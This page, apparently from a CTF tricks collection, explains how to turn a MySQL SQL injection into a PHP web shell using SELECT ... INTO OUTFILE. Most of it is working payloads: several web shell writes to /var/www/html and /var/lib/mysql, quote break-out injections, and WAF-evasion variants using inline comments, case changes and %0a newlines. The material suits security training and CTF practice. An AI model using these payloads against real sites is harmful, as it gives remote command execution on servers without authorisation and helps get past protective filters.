> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/sqli/trick-0177.md).

# SQLi INTO OUTFILE to Web Shell

***

When you identify a blind or error-based SQL injection vulnerability and confirm the database user has the `FILE` privilege (common in MySQL), you can leverage `INTO OUTFILE` to write arbitrary data to the file system. This privilege enables the user to cause the server to read and write files on the server host using the `LOAD DATA INFILE` and `SELECT ... INTO OUTFILE` statements. Files can be written to any location that is accessible to the server, typically using the privileges of the account running the MySQL server process. This capability is often used to drop a web shell.

A common payload structure involves selecting the web shell content and writing it to a path accessible by the web server (like `/var/www/html/`) or a path writable by the database user (like `/var/lib/mysql/`, and then potentially moving/accessing it).

A simple PHP web shell payload might look like:

```sql
SELECT '<?php system($_GET[\'cmd\']); ?>' INTO OUTFILE '/var/www/html/shell.php';
```

This assumes the web server's root is `/var/www/html/` and the database user has write permissions there. A slightly more robust shell using `$_REQUEST` (accepts GET or POST) is also common:

```sql
SELECT '<?php $c = $_REQUEST["cmd"]; system($c); ?>' INTO OUTFILE '/var/www/html/shell.php';
```

If the injection point is within single quotes, you might need to escape them or break out of the original query structure. For example, if the injection is `?id='VALUE'`, you could use:

```sql
'; SELECT '<?php system($_GET[\'cmd\']); ?>' INTO OUTFILE '/var/www/html/shell.php' -- -
```

This payload breaks out of the original query using the single quote and semicolon, inserts the `SELECT ... INTO OUTFILE` statement, and then comments out the rest of the original query using `-- -`.

If `/var/www/html/` is not writable, try other locations like `/tmp/` or directories relative to the MySQL data directory. Writing to `/var/lib/mysql/` is often successful due to permissions, even if web root directories are not writable by the database user:

```sql
SELECT '<?php system($_GET[\'cmd\']); ?>' INTO OUTFILE '/var/lib/mysql/shell.php';
```

Be aware of potential regex or WAF bypasses needed in the query. Web Application Firewalls (WAFs) are designed to detect and block malicious requests. Techniques to bypass WAFs often involve obfuscation, using alternative syntax, or manipulating whitespace and comments.

Obfuscation techniques include:

* Case Variation: Changing the case of keywords (e.g., `SeLeCt`, `InTo OuTfIlE`).
* Encoding: Using URL encoding, HTML encoding, or other encoding schemes.
* Adding Comments: Inserting comments within the query to break up keywords or add noise (e.g., `SELEC/**/T`).
* Using Alternative Syntax: Employing less common SQL syntax.

Whitespace and comments can replace spaces or break up keywords, for instance, using `/**/`, `--` , or `#`. Newline characters like `%0a` (URL-encoded newline) can also sometimes disrupt WAF parsing or regex patterns.

For example, using a regex bypass (`%0a` newline, `-- -0` comment) to write a simple PHP web shell to the MySQL data directory:

```sql
%0a'; SELECT '<?php system($_REQUEST["cmd"]); ?>' INTO OUTFILE '/var/lib/mysql/shell.php'; -- -0
```

This payload combines breaking out of the original query with `%0a` and the injection, followed by the `SELECT ... INTO OUTFILE` statement, and finally commenting out the rest with `-- -0`. The `%0a` might be needed to bypass checks for semicolons or pattern matching. Writing to `/var/lib/mysql/` often succeeds due to permissions even if web root directories (`/var/www/html/`) are not writable by the database user, though accessing the file from the web server might require additional steps or a specific web server configuration.

An example demonstrating comment obfuscation within the `SELECT ... INTO OUTFILE` statement itself:

```sql
SELECT/*foo*/'<?php system($_GET[\'cmd\']); ?>'/*bar*/INTO/*baz*/OUTFILE/*qux*/'/var/www/html/shell.php';
```

Another bypass example using `%0a` and comments:

```sql
%0aSELECT%0a'payload'%0aINTO%0aOUTFILE%0a'/path/to/file'%0a--%0a-
```

These techniques aim to make the malicious payload look benign or confuse WAF parsing rules.
